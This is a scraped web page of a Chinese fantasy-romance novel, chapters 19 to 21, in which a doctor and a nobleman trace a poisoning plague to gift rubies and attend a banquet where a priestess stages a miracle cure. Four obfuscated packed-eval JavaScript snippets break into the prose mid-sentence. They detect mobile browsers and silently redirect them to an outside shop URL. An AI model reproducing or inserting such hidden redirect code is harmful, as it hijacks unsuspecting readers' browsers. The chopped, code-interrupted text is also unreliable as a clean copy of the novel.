;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249832|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“哪怕这很危险?”
粼恩郑重点头:“哪怕这很危险。”
她直视着费尔西斯先生的眼睛,再一次重复道:“就算再危险,我也要去。”
书房里很安静,他们进来时忘了点灯,纤尘在微光中起伏,只有粼恩碧绿色的眼睛在闪闪发亮。
“好。”克劳斯了然,他起身点灯,又从一旁的桌面上拿来纸笔,“那么我们就来梳理一下现在已知的消息。”
病症由毒素引起,毒素与蓝叶藻一样来自深水水域,但不会通过水源或者植物传染,这是精灵古籍记载的。
古籍在两年前中心城的拍卖会上出现过,而丰赐圣母教的药剂里明确含有蓝叶藻的根茎。“红晕症”最先从“半人”群体中出现,病症不会人传人,但北境境主也感染了“红晕症”。
这是否可以推测:“半人”社会地位低,死伤不易引发追究,真凶既可以观察毒素效果,也能让众人误以为是“半人”特有的病,掩盖的真正阴谋?
“红宝石!”粼恩往前坐了一点,手指按在羊皮纸的边缘,“刚刚、刚刚境主大人也跟我提起过,罗伊珊也说过,城主给几位境主都送了红宝石!如果——”
“——如果能拿到那块红宝石,就可以检验一下我们的推测了。”克劳斯将后半句话补齐,他的目光灼灼,“罗伊珊刚才写信的时候已经嘱咐将那块红宝石一同带回,事情究竟如何届时便可知晓了。”
“到时候就可以知道了……”粼恩呼出一口气,喃喃着靠向椅背。
这一日紧绷了太久,一松懈下来,粼恩才觉得腰酸背痛。
交代完她已知的,粼恩抬手揉了揉脖子,一转头,发现小芒在不知不觉中已经跳到了她的身旁,正侧着头注视它。
啊,好想摸一下它毛绒绒的胸脯。
粼恩瞄了一眼克劳斯,发现他正蹙眉盯着眼前的羊皮卷,一副“别打扰我思考”的模样。
要不就摸一下吧!
粼恩伸出手,小心翼翼地探向小芒,见它没有躲避的意思,于是大着胆子上手摸了两把。
热乎乎的。
“至于丰赐圣母教——”
粼恩还想继续摸,费尔西斯先生却突然抬起头望了过来,两人同时一顿,粼恩心虚地收回了手。
“——我已经找到了可以帮忙的人。”费尔西斯先生盯着她,一字一句道。
.
呵呵,还真是有些尴尬。
夜晚,粼恩躺在床上,揉着脸颊翻来覆去,心中嘟囔,平时没做什么坏事,怎么一做坏事就被抓包了?
这也不算“坏事”吧?他干嘛用这种眼神看着她?
粼恩裹紧了被子,哼哼了两声,又在床上把自己摊开。
她转过身子,正见澄明的月光从没拉好的窗帘缝间滚落,徐徐铺出一条明黄色的毯子。
现在的天气一定很好。
这样想着,粼恩走下了床,拉开了窗帘。
疏朗的天空中,浅紫色的云层如棉絮般铺开,硕大的月轮正低低地悬浮在矮树之上。
万物陷入了寂静,在月光的照耀下又那么得清晰。
粼恩望着辽阔的原野,心情也恢复了平和,一种开阔且宁静的感觉从她的胸口升起。
事情正往好的方向发展着,明天又是充满希望的一天。
51. 第 19 章
北境内传递消息的速度很快,不出半日,那块赤红的宝石就被装在箱子里送到了乡间府邸内。
那时,粼恩才给境主排完体内最后一点毒素,还没来得及休息片刻,便立即开始专研那块红宝石。
粼恩独自在空房间研究了整个下午,克劳斯也没能闲着。
随着那块红宝石到来的,是莱蒂斯的消息。她是北境境主的大女儿,同时也是北境境主的继承人。此次“红晕症”爆发,罗伊珊随北境境主到乡间府邸养病,莱蒂斯则坐镇境主府处理所有的政务,并遮掩境主患病修养的事实。
莱蒂斯在信中表示,那块红宝石被境主摆在了卧室,因此莱蒂斯代政期间并没有接触到那块宝石,也没有感染“红晕症”。
但东境境主的情况就不太好了,虽然消息还不太明确,但莱蒂斯敢肯定,东境境主也患上了“红晕症”,而且身体状况很是糟糕。莱蒂斯还猜测,他的妻儿或是手下极有可能找上了中心城,不然中心城丰赐圣母教的修士不会无缘无故乘坐着带有中心城标志的马车直接前往东境境主的府邸。
看到这儿,克劳斯几乎可以确认,“红晕症”就是中心城两方势力制造出来的混乱。而他们的目的在他看来简直就是愚蠢又无趣——无非是权力的博弈,以及教权的扩张罢了。
克劳斯是一个将目光放在实际的人,因此尽管凭借北境境主侄子的身份,他完全可以做一个潇洒的、四处享乐的、受人追捧奉承的费尔西斯先生。
可克劳斯有自己的骄傲,他宁愿承担被猜忌的风险,也要做一些实在事情。
比如打理费尔西斯家族的产业,去进修又或者推动北境地界内学院的发展。
无论是政治斗争,还是宴会社交,这些于他而言都是无法引起乐趣的东西。但也常常是这些东西,阻碍了他想要做的事业。
他不在乎旁人如何看待他,脾气自然算不上太好,意识到折磨人的病症又是斗争的产物,克劳斯的怒火不可遏制地燃烧。
就在他考虑是否要与境主、莱蒂斯商议中心城一事时,书房的大门被人莽撞地推开了。
“——费尔西斯先生!”
克劳斯紧皱眉头,目光不悦地看向门口,却对上了粼恩疲倦但神采奕奕的脸。
“确定了!”
她没有意识到自己的行为莽撞,而是沉浸在喜悦里,兴致勃勃地对他说道:“我能确定,那种毒素正是依附在宝石之上,再通过宝石传染给其它人的!”
刺啦——
听到这个消息,克劳斯腾地站起身,没理会被他撞到一旁的椅子,快步走到粼恩面前,语气严肃地反问道:“你已经确定了?”
“对,我可以确定,”粼恩飞快点头,语调十分激动,“塔兰给我准备的东西很齐全,因此确定的时间并不会耗费太长,我分别尝试了几次,都得到了一样的结果——
“——病症不是‘半人’引起的,而是那些依附在宝石上的毒素!我猜,‘半人’之所以会感染,很有可能是他们在开采矿物时接触到这些含有毒素的宝石,你想想看,费舍!对,费舍是矿石商人,他也得了‘红晕症’不是吗?这种毒素不会通过水源或者植物传染,但现在看来,它却能由矿石使人感染病症。”
粼恩的话因情绪激动导致语序有些混乱,但克劳斯却由此肯定了她话语里的真实性。
前往中心城事不宜迟,他心中激荡,在书房内快速来回踱步了几下,随后转身嘱咐粼恩尽快收拾行囊,明日一早就出发。
两人分头离开,罗伊珊也带着境主的传话找上了克劳斯。
罗伊珊:“母亲让你乘坐带有家徽的马车前往中心城,她说,他们尚未知道她已痊愈一事,你此次前往,恰好可以用寻求药剂作幌子。”
克劳斯颔首,两人又商讨了一些细节后,便为后续的事情各自做准备了。
.
次日,长风呼啸之际,四轮马车便已冲破薄雾向中心城出发。
中心城虽然带有一个“城”字,实际上它的地界却并不比其它四境小多少。中心城由内向外分成三个区域,最中心的枢核区是他们此行的终点。历届金雀花大会与丰赐圣母教的教廷,也都在枢核区。
自百年前维洛兰与邻国拜里科斯一战后,历经数十年,王国渐渐形成了四境一城局面。表面上独立自治,互不干扰,可暗地里摩擦不断,“红晕症”一事更是证明了中心城势力扩张的野心。
马车内,克劳斯正在向粼恩解释他们最先要做的事情:“丰赐圣母教的十二修者,九人皆出自中心城,剩余三人则来自东、西、南境。我有一位朋友恰好来自南境的拉维尔家族,她的一位表亲正是这十二修者之一,明晚她将向我们引荐这位修者。”
“那我应该做些什么?”粼恩鲜少出入这种场合,难免有些不安,“着装有什么要求吗?”
“我已命人在枢核区租下一座房子,衣着都准备好了,你到时候可以试一下尺寸,有裁缝为你修改,”听出粼恩语调里的局促,克劳斯的语调缓和了些许,宽慰道,“晚宴不必紧张,言语也无需顾忌,只要不暴露我们的目的就好。不想说话也可以不说,就像你在绿云庄园那样。”
他的意思应当是想安抚自己,但乍一提起绿云庄园,粼恩还是有些尴尬。
她悄悄瞄了费尔西斯先生一眼,他的表情倒是认真,粼恩点了点头,表示听进去了。
乘坐着带有费尔西斯家徽的马车,这一路畅通无阻,太阳还未彻底沉入地面,他们就已经抵达中心城枢核区的住宅了。
房子在一条繁华的大街旁,门前生机盎然的花园为它隔出一个静谧的空间。
沿着小径,穿过热烈的玫瑰花丛,粼恩跟着克劳斯来到房子门前。这是一座三层高的小楼,有着灰黄色的外墙和棕褐色的门窗,白纱垂落,遮蔽了里面的装潢。
此时,夕阳正热烈地燃烧着,玫瑰花在风中摇曳,橘黄与紫蓝色交织映照,将夏日的热情尽数堆了上来。
屋内的灯亮着,行李也由侍者送上房间,门房在一旁候着,克劳斯走上门前台阶,转身向粼恩示意——这是绅士惯有的礼仪。
但此刻,克劳斯看向粼恩,明明接下来他们将面临许多不轻松的事情,但他的心弦却被玫瑰花若有若无的芬芳勾动了一下,一种未知的隐秘的不合时宜的惬意正随着微凉的晚风飘荡。
粼恩仍戴着她的皮帽子,尖耳朵与橘色的短发被她整齐地拢在帽子之下,这是自从他提醒她不要暴露身份后,她惯有的打扮。
这是令人放心的行为,但不知为何,克劳斯心底腾升起一丝微妙的不悦——你可以脱下你的帽子,展示你的耳朵,我对此并不介意。他抿了一下嘴唇,将这句突兀的心声咽了回去。
“怎么了,费尔西斯先生?”引起这一切波动的罪魁祸首已经走到屋内,黄昏的余晖还披在她的肩上,屋内明亮的灯光又给她蒙上一层柔和的薄纱。
她站在门厅里,神情举止镇定自若,她像一个女主人似的站在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254128|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那儿,轻声问他。
她浑然不觉。
对于踏上台阶到门厅之内,对于黄昏、玫瑰花丛、雾气般浮动的芬芳,对于他的愉悦、他的不满、他的羞恼——她对于这一切,全不知晓。
他闭了一下眼睛,将这贸然旁出的情绪如同修剪多余枝桠一般,冷静地隐去。
“没什么,”克劳斯摇了摇头,他的语调一如往常般平直,“去休息吧。”
.
第二日,参加晚宴的时间很快到来。
衣橱里,裙装与裤装皆有,粼恩上午已经提前试过,尺码合身,不需要修改。她抚摸着柔软的布料,将一套鹅黄色的裤装取了出来。
又是一个和昨天相似的黄昏,克劳斯站在门厅等候,他抚摸了一下衣襟,不一会儿,他便听到了从木制楼梯处传来的脚步声。
克劳斯回过头,正见粼恩一手扶着楼梯扶手,脚步轻盈地朝他走来。
利落的裤装,显得人身材挺拔,但柔软的面料与色彩,又衬得人明亮温和,与最开始在绿云庄园初见时的冷淡相比,此刻的粼恩更显柔软,也易让人觉得好亲近。
不应该这样,克劳斯蹙了一下眉,太柔软,太温和,她的性格又单纯,晚宴上众人心思各异,他沉下了心——要是有人蓄谋接近该怎么办?
“是有哪里不妥吗?”看到费尔西斯先生紧皱的眉头,粼恩以为自己哪里出错了,小心翼翼地问他。
“……没有。”
他垂了一下睫毛,在原地可疑地来回了两步。
接着,他像想起什么似的,看向一旁的侍者,很快侍者捧着一个小盒子快步返回。
“戴上这个。”克劳斯将盒子里的东西取出递给粼恩。
他向前靠近了两步,似要上手帮她戴上,可是脚步又顿住,急忙退出一个安全的距离。
有点儿莫名其妙。
粼恩眨了眨眼,接过银质胸针,图案正是象征着费尔西斯家族的一只鹿首。
她戴好胸针,捋平衣襟,抬头对上费尔西斯先生的视线,黄昏中,他的瞳色愈发浓重。
粼恩一愣,却见他转身径直向门外走去。
晚宴在拉维尔修者的私人府邸举行,距离他们居住的房子不远。
按理说,他们这段时间坐了不少马车,可粼恩头一回觉得在马车上耗费的时间格外漫长。
四轮马车的车厢虽然宽敞,但密闭性很强,车帘垂落下来,于是流动的风与玫瑰色的黄昏都被阻隔在了马车之外。
粼恩与克劳斯面对面坐着,她的目光实在无处可去,只好轻轻地落在费尔西斯先生的身上。
他的穿着向来都是无可指摘,今天的打扮更是粼恩说不出的华美。
她看不出费尔西斯先生哪里不太一样,只觉得他的面容俊朗,气势高贵。
“怎么了?”费尔西斯先生突然开口问道。
粼恩收回目光,摇摇头做出一副无意冒犯的模样。
无声中,马车很快就抵达了晚宴举办的地点。
路易莎·拉维尔站在宴会厅入口处,不耐地挥舞着扇子。她穿着时兴的裤装,挡过几个男人莫名其妙的搭讪,在流动的人群中瞧见了一个熟悉的身影。
“我亲爱的朋友,和他的——”她穿过人群来到门前,正准备热切地打个招呼,声音却噎在喉咙里。
“你、你,”路易莎愣愣地盯着克劳斯,半晌才挤出一句话,“你怎么穿得如此花枝招展?难不成终于开窍了?”
52. 第 20 章
此话一出,三人俱是一愣。
路易莎眼神来回扫动——那日远远一见的粼恩医师脸上错愕,克劳斯则是浓眉一蹙,暗暗地瞪了她一眼。
哈哈,原来是有人单方面的举动,有人还在不知情中。
路易莎干笑了两声,唰一下把扇子打开挡在脸前,遮住克劳斯大部分的视线攻击,若无其事地打了个招呼:“克劳斯,快给我们介绍一下彼此吧。”
隐秘的、自己都尚未可知的心思被路易莎一见面就戳破,克劳斯再如何冷静自持,也难免气短。他闭了闭眼,将憋闷咽下,才向双方介绍了彼此。
尽管粼恩一副没有听懂路易莎最开始那句话的样子,但克劳斯的声音还是沙哑了一瞬。
什么叫花枝招展?什么叫“终于开窍了”?
他不过是着装正式了一些,路易莎怎么就做出一副“女神啊,克劳斯也有喜欢上别人的时刻”的呆傻样子?
拉维尔修士是他们调查“红晕症”与精灵古籍的一个突破口,着装当然要重视,更何况他如果喜欢上一个人——
克劳斯的思绪逸散了一瞬,他怎么可能用如此蹩脚的手段来展示自己?他习惯掌控,掌控自己的生活,掌控理性,即使要求追求一个人,那也应当是深谋远虑,步步为营。
再说了,他没有想过自己会对旁人心动,就连一丝念头也不曾有过。想到这,克劳斯的神态自然了许多,只当路易莎是日常大惊小怪。
他清了清嗓子,又问道:“拉维尔修士在哪儿?”
路易莎收起笑意,她向四周看了看,将两人带到舞会厅的一角:“修士还没有出现。不过,晚宴是以‘红晕症’募捐的名头举办的,我打听到她还邀请得了病症的人到晚宴中。”
邀请得了“红晕症”的病人?
克劳斯皱起眉头,却听粼恩主动道:“可现在并没有出现得了病症的人,他是要和修士一起出场吗?”
路易莎摇了摇头:“这我就不清楚了。虽然我们都是拉维尔家族的人,但修士一家在多年以前就定居中心城了,她近来的生活,我也不是很清楚。”
原来如此。
粼恩点点头,对路易莎刚刚提到的得了病症的人还是有些在意。她环顾四周,想要四处看看,才转过头看向费尔西斯先生,便听到他说:“去吧。”
身着鹅黄色裤装,头戴鹿皮软帽的身影远去,克劳斯收回目光,对上了路易莎冷笑的脸。
“笑这么恶心。”他皱了一下眉,退后两步,又嫌弃道,“你什么时候能改一下胡言乱语的毛病?”
“‘你什么时候能改一下胡言乱语的毛病’,呵呵,”路易莎压着嗓子模仿,斜着眼瞪向克劳斯,“家徽都给人戴上了还在这里装什么?”
“这不过是一个保护,你的联想能力真是越发夸张了,”克劳斯蹙眉,“我与她有过协议,现在她想要去探查,费尔西斯家族当然要为她提供庇护。”
一番话冠冕堂皇,路易莎听得目瞪口呆。
这还是那个眼高于顶,无关的人和事都无法引起他一丝一毫地注意力的克劳斯·费尔西斯吗?
怎么会考虑得那么仔细,又怎么能通过粼恩那张毫无表情变化的脸察觉出她的意向?
而且看他的样子,似乎还没有意识到自己不同以往的举动。路易莎抽了抽嘴角,也懒得理会这个向来讨厌宴会的无趣朋友,拉维尔修士还没有出现,她也不必呆在克劳斯身边。
宴会可是她的狩猎场,路易莎冷冷地哼了一声,自顾自地往人群中走去。
.
粼恩在宴会厅中行走着,不知是什么原因,一路上竟有许多不认识的人向她搭话。
她可没有和这么多人类同时相处的经验,粼恩心中忐忑,她想起费尔西斯先生说的话,于是摆出一副面无表情的样子。
效果居然还不错,粼恩看着他们脸上得体的微笑,听着他们的夸赞,不由得想,要是现在突然摘下帽子,露出耳朵,他们脸上又会是什么表情?
惊愕?还是厌恶?
他们居然对一个“半人”彬彬有礼,实在有失脸面。
可是,“半人”又有什么问题?
粼恩抿了一下唇,她到中心城来是为了调查“红晕症”,是为了证明“半人”不是什么传染疾病的群体,然而现在,她突然觉得即使为“半人”正名也不能改变些什么。
离开家外出的两个多月以来,粼恩见识了许多,成长了许多,她的目光不再向以前一样只放在小小的聚居地里,她渴望的天地宽阔,她想要探索更多。
尽管王国里有不歧视“半人”的人类存在,但“半人”的真实处境却仍是十分糟糕的,这注定她的生活受限,而她也不可能一直隐瞒身份生存。
遐想的未来向她展开蓝图,泥潭却拽住了她的脚步。
阴云笼罩上心头,粼恩没注意,撞上了宴会厅里的一位宾客。
“啊,不好意思,”粼恩退后两步,急忙道,“没有撞到您哪里吧?”
“我没事。”随着一个略显熟悉的清亮男声响起,一只戴着丝质手套的手托住了粼恩的胳膊。
粼恩下意识抬头,那只手已经收了回去,站在她面前的是一个戴着面具遮挡了大半张脸的男人。
虽有面具遮挡让人看不清面容,但那如同清澈湖水一般蓝绿色的双眼,长及腰际的波浪般的橘红色卷发,以及宽松长袍下显得高挑清瘦的身材,无不让见到他的人眼前一亮。
这是一个与费尔西斯先生完全不同风格的美丽男子。
可粼恩很是谨慎,因为费尔西斯先生曾对她说过,穿着长袍、戴着面具与手套的人都是丰赐圣母教的圣职人员,而且他们的身份在教会中并不算低。
现在突然遇上一个圣职人员,粼恩心中一紧,提高警惕的同时她又在考量这是否是一个调查的好机会?
她看着这位圣职人员未被面具遮住的双眸,罕见的蓝绿色让她想起七年前失踪的哥哥,尽管理智告诉她这绝无可能,但粼恩还是下意识地问道:“请问……我们之前有见过面吗?”
话刚说出口粼恩便后悔了,这太突兀,不仅对调查毫无帮助,还显得极其轻浮,要是留下一个坏印象那可就麻烦了。
然而懊悔才从心底升起,男青年便轻轻地笑了一下,那双蓝绿色的眼睛也微微地弯了起来:“或许以前布道的时候,我们曾见过一面。”
他的眼睛从粼恩的脸落到了她的衣襟上:“——尽管费尔西斯家族的人不太欢迎我们圣职人员到北境布道,但在下还是去过几次北境的。‘欢宴美酒流向每一个人’,这都是我们该做的。”
可她不是费尔西斯家族的人,粼恩垂下眼帘,圣职人员的这番话反倒证明了他们从未见过,他也不可能是哥哥卡莱尔。
但既然他误以为自己是费尔西斯家族的人,那么利用这个身份来套话也未尝不可。
粼恩定了定神,试探道:“您真是秉持教义,不过现
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259898|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
今疾病肆虐,不知贵教是否也广施恩露,治愈众人呢?”
“这是自然,”面对粼恩颇为直白的反问,青年面不改色,仍是笑盈盈地回答道,“虽然修道院主要集中在中心城,但其余四境本教也有圣职人员前往救治,就连‘半人’的聚居地也有呢。”
“半人”的聚居地也有?
粼恩心中腹诽,那她怎么没有见过?
她所在的聚居地已算得上西境最大的“半人”聚居地之一了,可自从“红晕症”在聚居地出现开始,她从来没有见过什么丰赐圣母教的圣职人员来过。
嫌疑好大!
粼恩皱起眉,想起北境境主的话,便彻底地将费尔西斯家族的成员装下去,质疑道:“可我曾在北境的‘半人’聚居地视察过,从未见过你们的身影。”
然而青年的话滴水不漏,他仅用一句“若北境能放开管制,我们自然也会前往”就将粼恩堵了回去。
粼恩气短,她想了又想,实在不知该如何套话了,只好沉默地站在一旁。
那名圣职人员也是奇怪,他不但不转身离去,反倒也安静地站在粼恩身旁。
两人像两棵树似的立在宴会厅的一角,但他们并没有引起旁人奇怪的目光,因为,拉维尔修士出现了。
拉维尔修士是一个中年女人,她的相貌平凡,身材颇为壮硕,如果没有那一身华服相衬,大概会被认为是哪位妇女误入了宴会场所。但她身上的长袍实在是光彩夺目,显得她都有几分高贵气质了。
她的脸盘就像一团肉桂色的面团,深色的眼睛则是两枚被按进面团里的坚果,不由得让人怀疑她的眼睛是否能完全张开。
“诸位——”拉维尔修士开口说话了,她的声音向钟声一样洪亮,粼恩莫名一惊,下意识想往费尔西斯先生身边走去。
一回头却发现刚刚那名神秘的圣职人员已经消失不见了,她没多在意,很快在人群发现了高大的费尔西斯先生,急急忙忙地挤了过去。
橘色头发实在亮眼,克劳斯不过随便一瞥,便在人群中发现了朝他挤来的粼恩。
他分出一点儿神去听拉维尔修士的讲话,身体则下意识地往粼恩走来的方向靠。
两人才站到一起,便听到拉维尔修士说出一句颇为惊人的话。
“‘欢宴美酒流向每一个人’,让冥河水倒流、救治性命的药剂也同样向每一个人开放——无论是人类还是半人,丰赐圣母教都会向各位提供帮助,但是修道院中圣职人员劳累已久,若在场的各位能出手相助,在下不尽感激。为证明药剂真实有效——”拉维尔修士侧身,一个戴着兜帽的人影从她身后显现出来。
“阿蒙。”拉维尔修士叫了人影一声,于是人影便犹豫着伸出手将兜帽摘了下来。
“啊——”
“这是——”
在瞧清楚那人的真实面貌后,在场的人不由得惊叫了两声,纷纷后退。
“他是不是感染了‘红晕症’?!”
“这也太吓人了吧?!”
纷纷嚷嚷中,粼恩屏住呼吸,死死地盯向前方,那个被议论的,感染了红晕症的男人,他有着黝黑的皮肤,超出旁人的高大身材,他的耳朵像塔兰、塞缪尔一样尖且长,但身上的肌肉像玛琳娜一般结实、粗壮,而且毛发浓密——
这是一个精灵与矮人的混血儿!
“这里怎么会有一个‘半人’?!”不知是谁说了一句这样的话,整个宴会厅瞬时安静了下来。
53. 第 21 章
“是的,这是一个‘半人’。”
拉维尔修士对众人的反映很是满意,她宽厚的手掌握住了那个被她唤作“阿蒙”的半人的手,另一只手在空中一挥,便将所有人的注意力都抓了过来。
她从一旁的托盘里拿起一只银制的小瓶子,拔掉塞子,一缕幽香便从瓶口逸散。
“喝了它——”拉维尔修士对阿蒙命令道,于是,那个健硕的半人便顺从地接过小瓶子,将里面的液体一饮而尽。
那是能治愈“红晕症”的药剂吗?
众人忍不住伸长脖子去瞧,只听见阿蒙沉重地吭哧了两声,随后突然扑通一声跌倒在地!
这是怎么一回事?!
众人一阵哗然,齐齐向后退开一步,包围圈中,“半人”阿蒙在地上翻滚着哀嚎,不一会儿就昏迷过去了。
发生了什么?!
有人想要质问,却见阿蒙半丨裸丨露在空气中的上半身上,像是被施展了什么魔法一般,刺眼的红斑正以肉眼可见的速度在消退,随之可见的是他不断起伏的胸膛也渐渐平缓了下来。
“这——就是可以治愈‘红晕症’的药剂!”拉威尔修士半蹲了下来,她揽住阿蒙的头,让他靠在她的肩膀上,手轻柔地将他脸上凌乱的头发拨到一边去,将他硬朗的没有红斑的脸展示出来,“感谢我们的‘半人’朋友,愿为诸位展示药剂的效果!”
华丽的言语远不及惊人的现实来得震撼,面对这神迹一般的场景,众人高声欢呼,其中有不少本就是皈依者的人更是当即表示想要捐赠财物。
希望像欢乐的鸟儿,从每个人的心间扑打着翅膀飞出,欢宴在这一时刻终于开场,美酒与佳肴数不尽似的端了上来,但这丝毫比不上治愈病症的药剂所带来的眩晕一般的快乐。
克劳斯站在欢声笑语中,感到胸口一阵一阵猛烈地跳动,这到底是什么?居然能让红斑在一瞬间全部消失。
他还记得粼恩是如何治疗生病的姨母的,她的疲倦,她的汗水,治疗结束后她轻轻呼出的一口气,无一不证明了治疗过程的艰苦。
这算什么?他看着那个半人依偎在拉维尔修士的怀里,面色逐渐恢复了红润,这是巫术?还是失传的魔法?
克劳斯下意识看向粼恩,他想要问她有没有头绪,却注意到她的身体在不自觉地发抖。
震惊、无措、刺痛,身边的人群如同烈日下的白蜡化开,粼恩站在白茫茫的世界里,看着那个精灵与矮人的混血儿,那个得了红晕症的“半人”,窒息的、羞辱的潮汐几乎要将她吞没——
我不过是一个幸存者,意外地从被观赏的位置中逃离出来,粼恩无法控制自己般发抖,她再一次意识到所谓的“半人”在人类眼里不是被观赏的宠物,就是没有价值的一次性耗材。
她止不住地颤抖,某种强烈的情绪在她心底来回冲荡,她想要尖叫,想要大喊,一股强烈的呕吐的欲望涌上她的喉咙,然后,有一只手揽上了她的肩膀。
“放轻松,深呼吸。”
那只手的主人低声对她道,他的声音沉稳,搀扶她的力道也让人安心,粼恩抽噎着,被他带到了清风之中。
“还好吗?先擦擦脸。”
粼恩木着脑子抬起头,接过费尔西斯先生递过来的手帕,才意识到自己在流泪。
此时,他们正站在一个露台上,人群的欢闹一下子被风吹得很远,那些痛恨与悲伤也随之模糊了些许。
“还能坚持住吗?要不要先回去?”他没有问她到底怎么了,情绪为何突然崩溃,这让粼恩松了一口气。
她摇摇头,将那股沉郁的气憋回心中,重重地吸了一口气,坚定道:“我没事,可以回去了。”
这句话说完,粼恩并没有马上听到费尔西斯先生的回答,她掀起被泪水浸染得湿漉漉的眼睫,朝斜上方看去。
费尔西斯先生面对她而背对着宴会厅,这也同时背对了光亮,粼恩瞧不清楚他的脸色,但直觉他目光沉沉,似有许多话想说。
但他终究没有再说些什么,只道了一声“好”。
粼恩平复了心情,正准备回去,却听到一阵脚步声传来,随之响起的是费尔西斯先生朋友的声音。
“怎么了?怎么突然离场了?”路易莎走近一瞧,那名粼恩医师眼圈和鼻头都是红红的,像是才哭过的样子。
她下意识看了克劳斯一眼,只见他轻微摇了摇头,于是她也没好再问。
对于粼恩而言,路易莎算得上一个陌生人,听到她的关心,粼恩也只是轻声带过,但路易莎拉住了她。
“这样回去可不行。”路易莎狡黠地朝粼恩眨了眨,打开挂在身前的小包,里面赫然是一些补妆用的小东西。
她沾取一些粉末,在粼恩的眼皮和鼻子上轻点,然后上下打量,等确定遮掩住粼恩哭过的痕迹后她才满意地将小包一合,轻快道:“走吧走吧,宴会上的消息可不能错过呢。”
路易莎是一个天生的调动情绪大师,不过几句话,就将粼恩逗得笑了一下。她分享了这段时间以来她在中心城接触道的各种消息,随后像是突然想起来了什么似的“啊”了一声。
“对了,前两日我遇到了小弗朗索瓦,她看起来脸色很不好——粼恩你之前是不是曾去过她的府邸?”路易莎转头问道,“我还以为她也感染了病症,仔细打听后,没想到小弗朗索瓦心情不好是因为不久前那座乡间宅院发生了命案!她的一个情人被害了!而且凶手很有可能不是人类。”
粼恩心头一跳,还没来得及问什么,又听路易莎问道:“还有传闻说,那个情人是一个混血儿,粼恩,你当时去的时候有没有见过那个情人?他——”
“——路易莎。”话还没有说完,就被沉默在旁的克劳斯打断了,路易莎不满地抬头,发觉他们已经走入厅内,裙摆与鬓影飞扬,香气盈满屋内。
路易莎只好悻悻地闭上了嘴,粼恩心中则是惊涛骇浪,按照路易莎的说法,小弗朗索瓦被杀害的“情人”极有可能就是西莱奥,可是——
为什么?
凶手不是人类,难道是旅者?是了,宅院处于乡间,遇到旅者的机会要大得多。
还是说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264532|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其实他已经因病去世,结果却被传成被杀害了?
粼恩百思不得其解,思绪胡乱延展,却被费尔西斯先生打断了,只见他欠身,朝自己伸出一只手,道:“不知粼恩小姐可否赏光与在下跳一支舞?”
话题怎么跳到跳舞上去了?
粼恩余光一瞥,看见周围男男女女跃跃欲试,联想到费尔西斯先生颇为孤傲的性格,知道他不想与旁人进行无用的社交,又需要一个可以交谈的机会。
可她不会跳舞,粼恩犹豫再三,见到周围的人试探着走了上来,还是将手搭了上去。
两人的距离旋即拉近,粼恩一只手被费尔西斯先生握着,另一只手则搭在了费尔西斯先生的肩膀上,手臂与手臂搭建出一个仅供两人目光交错对话的空间,尽管粼恩再迟钝,她也在费尔西斯先生的目光中觉察出什么别的东西。
一些她从未接触过,且无法招架的东西。
在这样的目光之中,粼恩感受到一股难以言喻的局促感,她不由得踉跄了两下,下一瞬就被费尔西斯先生扶住了。
“还好吗?”他问她,像是问她是否还适应这一支舞,又像是问刚刚流泪的事。
粼恩抿了抿唇,用点头代替了言语,而后,似乎是看出了她的拘谨,他将目光从她的脸上移到了旁处,并用与平时无区别的语调对她道:“等一会儿路易莎会为我们引荐拉维尔修士。为行事方便,届时她会介绍你是费尔西斯家族的旁支,是我的远房表妹,你不必紧张。”
闻言,粼恩愣了一下,随即问道:“那我们要什么时候问关于病症的事?”
“借由捐赠财物,恳请修士展示‘神奇的药剂’,她不会放弃与费尔西斯家族结交的可能。”克劳斯向她解释道,他的目光落在粼恩的发尾,他知道这卷曲的橘色头发有着和他一模一样的味道,更知道这头发底下隐藏着粼恩与众不同的尖耳朵。
一直这样藏着,会不会难受?他的思绪飘走了一瞬,随后又马上回到了话题上:“她定会想办法与邀请我们共进晚餐,也会与中心城的合作人交换信息。我们只需要做出一副需要药剂救命的模样,他们便不会放过这个机会。”
